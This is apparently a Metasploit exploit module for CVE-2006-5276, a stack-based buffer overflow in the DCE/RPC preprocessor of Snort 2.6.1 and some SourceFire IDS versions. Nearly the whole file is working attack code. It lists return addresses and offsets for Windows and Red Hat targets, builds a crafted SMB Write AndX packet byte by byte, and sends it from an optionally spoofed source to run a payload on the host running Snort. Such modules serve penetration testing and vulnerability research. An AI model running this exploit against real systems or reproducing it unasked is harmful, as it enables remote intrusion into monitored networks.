##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Capture
  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Snort 2 DCE/RPC Preprocessor Buffer Overflow',
      'Description'     => %q{
          This module allows remote attackers to execute arbitrary code by exploiting the
        Snort service via crafted SMB traffic. The vulnerability is due to a boundary
        error within the DCE/RPC preprocessor when reassembling SMB Write AndX requests,
        which may result a stack-based buffer overflow with a specially crafted packet
        sent on a network that is monitored by Snort.

        Vulnerable versions include Snort 2.6.1, 2.7 Beta 1 and SourceFire IDS 4.1, 4.5 and 4.6.

        Any host on the Snort network may be used as the remote host. The remote host does not
        need to be running the SMB service for the exploit to be successful.
      },
      'Author'          =>
        [
          'Neel Mehta', #Original discovery (IBM X-Force)
          'Trirat Puttaraksa', #POC
          'Carsten Maartmann-Moe <carsten[at]carmaa.com>',  #Metasploit win
          '0a29406d9794e4f9b30b3c5d6702c708' #Metasploit linux
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'OSVDB', '32094' ],
          [ 'CVE', '2006-5276' ],
          [ 'URL', 'http://web.archive.org/web/20070221235015/http://www.snort.org/docs/advisory-2007-02-19.html'],
          [ 'URL', 'http://sf-freedom.blogspot.com/2007/02/snort-261-dcerpc-preprocessor-remote.html'],
          [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py']
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'         =>
        {
          'Space'         => 390,
          'BadChars'      => "\x00",
          'DisableNops'   => true,
        },
      'Platform'        => %w{ win linux },
      'Targets'         =>
        [
          [
            'Windows Universal',
            {
              'Platform' => 'win',
              'Ret'    => 0x00407c01,  # JMP ESP snort.exe
              'Offset' => 289,         # The number of bytes before overwrite
              'Padding' => 0
            }
          ],
          [
            'Redhat 8',
            {
              'Platform' => 'linux',
              'Ret' => 0xbffff110,
              'Offset' => 317,
              'Padding' => 28
            }
          ]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => '2007-02-19',
      'DefaultTarget'   => 0))

    register_options(
      [
        Opt::RPORT(139),
        OptAddress.new('RHOST', [ true,  'A host on the Snort-monitored network' ]),
        OptAddress.new('SHOST', [ false, 'The (potentially spoofed) source address'])
      ])

    deregister_options('FILTER','PCAPFILE','SNAPLEN','TIMEOUT')
  end

  def exploit
    open_pcap

    shost = datastore['SHOST'] || Rex::Socket.source_address(rhost)

    p = buildpacket(shost, rhost, rport.to_i)

    print_status("#{rhost}:#{rport} Sending crafted SMB packet from #{shost}...")

    return unless capture_sendto(p, rhost)

    handler
  end

  def buildpacket(shost, rhost, rport)
    p = PacketFu::TCPPacket.new
    p.ip_saddr = shost
    p.ip_daddr = rhost
    p.tcp_dport = rport
    p.tcp_flags.psh = 1
    p.tcp_flags.ack = 1

    # SMB packet borrowed from https://www.exploit-db.com/exploits/3362

    # NetBIOS Session Service, value is the number of bytes in the TCP segment,
    # must be greater than the total size of the payload. Statically set.
    header = "\x00\x00\xde\xad"

    # SMB Header
    header << "\xff\x53\x4d\x42\x75\x00\x00\x00\x00\x18\x07\xc8\x00\x00"
    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xfe"
    header << "\x00\x08\x30\x00"

    # Tree Connect AndX Request
    header << "\x04\xa2\x00\x52\x00\x08\x00\x01\x00\x27\x00\x00"
    header << "\x5c\x00\x5c\x00\x49\x00\x4e\x00\x53\x00\x2d\x00\x4b\x00\x49\x00"
    header << "\x52\x00\x41\x00\x5c\x00\x49\x00\x50\x00\x43\x00\x24\x00\x00\x00"
    header << "\x3f\x3f\x3f\x3f\x3f\x00"

    # NT Create AndX Request
    header << "\x18\x2f\x00\x96\x00\x00\x0e\x00\x16\x00\x00\x00\x00\x00\x00\x00"
    header << "\x9f\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    header << "\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x40\x00\x02\x00\x00\x00"
    header << "\x01\x11\x00\x00\x5c\x00\x73\x00\x72\x00\x76\x00\x73\x00\x76\x00"
    header << "\x63\x00\x00\x00"

    # Write AndX Request #1
    header << "\x0e\x2f\x00\xfe\x00\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
    header << "\x00\x48\x00\x00\x00\x48\x00\xb6\x00\x00\x00\x00\x00\x49\x00\xee"
    header << "\x05\x00\x0b\x03\x10\x00\x00\x00\xff\x01\x00\x00\x01\x00\x00\x00"
    header << "\xb8\x10\xb8\x10\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
    header << "\xc8\x4f\x32\x4b\x70\x16\xd3\x01\x12\x78\x5a\x47\xbf\x6e\xe1\x88"
    header << "\x03\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
    header << "\x2b\x10\x48\x60\x02\x00\x00\x00"

    # Write AndX Request #2
    header << "\x0e\xff\x00\xde\xde\x00\x40\x00\x00\x00\x00\xff\xff\xff\xff\x80"
    header << "\x00\x48\x00\x00\x00\xff\x01"
    tail = "\x00\x00\x00\x00\x49\x00\xee"

    # Return address
    eip =  [target['Ret']].pack('V')

    # Sploit
    sploit = make_nops(10)
    sploit << payload.encoded

    # Padding (to pass size check)
    sploit << make_nops(1)

    # The size to be included in Write AndX Request #2, including sploit payload
    requestsize = [(sploit.size() + target['Offset'])].pack('v')

    # Assemble the parts into one package
    p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit

    p.recalc

    p
  end
end